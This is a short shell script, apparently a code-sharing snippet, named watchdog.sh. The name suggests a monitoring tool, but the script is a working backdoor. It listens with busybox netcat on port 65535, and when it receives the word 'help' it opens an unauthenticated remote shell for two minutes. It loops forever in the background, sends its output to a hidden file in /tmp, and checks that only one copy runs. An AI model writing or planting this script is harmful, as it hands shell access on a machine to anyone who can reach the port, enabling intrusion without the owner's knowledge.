lwzm
4/28/2016 - 12:17 AM

watchdog.sh

#!/bin/sh

door="busybox nc -l -p 65535"

_loop() {
    while true; do
        sleep 1
        if [ "$($door)" = "help" ]; then
            $door -w 120 -e busybox sh
        fi
    done
}

if pgrep -f "$door"; then
    exit 1
fi

_loop >/tmp/.watchdog.log 2>&1 </dev/null &